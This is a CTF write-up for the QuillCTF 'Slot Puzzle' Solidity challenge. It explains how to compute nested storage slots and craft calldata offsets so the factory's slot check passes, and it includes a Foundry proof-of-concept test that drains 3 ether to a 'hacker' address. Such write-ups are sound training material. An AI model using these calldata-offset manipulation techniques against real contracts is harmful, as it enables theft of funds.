2023 | Hard | Solidity Security
Slot Puzzle
Objective of CTF¶
Your purpose is just to call the deploy() function to recover the 3 ether.
QuillCTF Challenges - Slot Puzzle
Vulnerability Description¶
- Only the instance of SlotPuzzle deployed from SlotPuzzleFactory can call the
payout()
function to transfer ether and we need to pass the check inascertainSlot()
to let SlotPuzzle callpayout()
- Calculate the slot iteratively according to
keccak256(key, slot + (is ghostStore ? 1 : 0))
pattern - We need three recipients, all pointing to hacker, to recover 3 ether since each
payout()
can only transfer 1 ether -
The difficult part is to decide
offset
> <params.slotKey
is copy from calldata to memory.bytes memory slotKey
stores the slotKey offset in memory, here is 0x80- The offset of slot is calculated using
add(slotKey, calldataload(offset))
. So, the value ofoffset
should be the offset of target value (i.e. slot.offset - slotKey) in the calldata. We can make use ofParameters.slotKey
to pass that value
Offset(Hex) Calldata Layout 04 offset of struct Parameters 24 totalRecipients, 3 44 offset 64 offset of the Recipients array (relative to struct offset) 84 offset of slotKey (relative to struct offset) a4 size of the Recipients array c4 recipients[0].account ... ... 184 size of slotKey 1a4 slot.offset - 0x80 1c4 slot
Proof of Concept¶
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import { SlotPuzzle } from "src/SlotPuzzle.sol";
import { SlotPuzzleFactory } from "src/SlotPuzzleFactory.sol";
import { Parameters, Recipients } from "src/interface/ISlotPuzzleFactory.sol";
contract SlotPuzzleTest is Test {
SlotPuzzle public slotPuzzle;
SlotPuzzleFactory public slotPuzzleFactory;
address hacker;
function setUp() public {
slotPuzzleFactory = new SlotPuzzleFactory{value: 3 ether}();
hacker = makeAddr("hacker");
}
function calc(uint256[8] memory keys, uint256 slot) internal pure returns (uint256) {
for (uint8 i = 0; i < 8; i ++) {
slot = uint256(keccak256(abi.encodePacked(keys[i], slot)));
if (i % 2 == 1) slot += 1; // move to variable map
}
return slot - 1; // back to variable hash
}
function testHack() public {
vm.startPrank(hacker, hacker);
assertEq(address(slotPuzzleFactory).balance, 3 ether, "weth contract should have 3 ether");
// solution
Recipients[] memory recipients = new Recipients[](3);
recipients[0] = Recipients({
account: hacker,
amount: 1 ether
});
recipients[1] = recipients[0];
recipients[2] = recipients[0];
bytes32 slot = keccak256(
abi.encodePacked(calc(
[
uint256(uint160(hacker)), block.number,
block.timestamp, uint256(uint160(address(slotPuzzleFactory))),
block.prevrandao, uint256(uint160(address(block.coinbase))),
block.chainid, uint256(uint160(uint256(blockhash(block.number - block.basefee))))
],
1
))
);
slotPuzzleFactory.deploy(
Parameters({
totalRecipients: 3,
offset: 0x1a4, // offset to the value 0x144
recipients: recipients,
slotKey: abi.encode(0x144, slot)
// 0x144 = slot.offset(0x1c4) - 0x80
})
);
assertEq(address(slotPuzzleFactory).balance, 0, "weth contract should have 0 ether");
assertEq(address(hacker).balance, 3 ether, "hacker should have 3 ether");
vm.stopPrank();
}
}
最后更新:
2023年6月9日 11:11:10
Contributors:
Pageviews:
Pageviews: